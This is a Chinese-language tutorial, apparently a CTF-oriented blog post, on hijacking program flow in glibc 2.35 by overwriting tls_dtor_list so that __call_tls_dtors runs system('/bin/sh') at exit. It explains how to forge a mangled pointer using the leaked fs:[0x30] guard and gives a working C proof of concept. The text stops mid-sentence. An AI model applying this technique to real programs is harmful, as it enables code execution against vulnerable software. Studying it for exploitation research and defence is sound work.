前言
glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。
传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。
__call_tls_dtors
在程序返回时会通过exit函数,exit函数会经历以下调用过程
exit
->
__run_exit_handlers
->
__call_tls_dtors
而__call_tls_dtors
函数中则存在着可以进行劫持的地址,__call_tls_dtors
函数的执行如下:
-
• 判断
tls_dtor_list
为空 -
• 不为空则将
tls_dtor_list
赋值给cur
-
• 取出函数指针
cur->func
-
• 通过
PTR_DEMANGLE
宏解密指针值 -
• 执行函数指针
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endiftls_dtor_list = tls_dtor_list->next; func (cur->obj); atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); }
}
通过上述流程可知,若能够劫持tls_dtor_list
,则可以将cur->func
指向的位置修改为system
函数。具体取出tls_dtor_list
的汇编语言如下
-
• 首先取出
tls_dtor_list
的下标值,即rbx
寄存器的值为0xffffffffffffffa8
,转换为十进制为-88
-
• 而该下标是用
fs
进行寻址的,然后取出tls_dtor_list
的值判断是否为空
那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list
修改为不是空值,看看后续会进入哪些校验流程
首先遇到第一个问题,在后续的流程中需要将tls_dtor_list
的内容作为指针值进行索引,因此我们不能够直接将system
函数的地址写入tls_dtor_list
,而是需要将指向system
函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system
函数的地址,然后将堆地址填充到tls_dtor_list
中
根据上述的方法,我们成功进入后续的流程
但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。
这是因为上述的宏定义PTR_DEMANGLE
,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,
先将指针循环右移0x11
,然后与fs:[0x30]
进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]
的值。
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 0x11
0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。
那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi
寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh
的地址值即可。
POC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned long long rotate_left(unsigned long long value, int left)
{
return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}
int main() {
unsigned long long fs_base;
unsigned long long index = 0xffffffffffffffa8;
unsigned long long tls_dtor_list_addr;
unsigned long long random_number;
void *system_ptr = (void *)&system;
printf("system:%p\n",system_ptr);
// 使用汇编嵌入获取FS寄存器的值
asm("mov %%fs:0, %0" : "=r" (fs_base));
printf("Value in FS register: 0x%llx\n", fs_base);
tls_dtor_list_addr = fs_base - 88;
random_number = *(unsigned long long *)(fs_base + 0x30);
char *str_bin_sh = malloc(0x20);
strcpy(str_bin_sh,"/bin/sh");
void *ptr = malloc(0x20);
*(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);
*(unsigned long long *)(ptr + 8) = str_bin_sh;
*(unsigned long long *)tls_dtor_list_addr = ptr;
return 0;
}
总结
简单总结一下通过tls_dtor_list
劫持exit
执行流程的条件
-
• 存在任意地址写的漏洞利用
-
• 能够篡改或泄露
fs_base + 0x30
的值 -
• 程序会通过
exit
函数结束程序,若是通过_exit
则不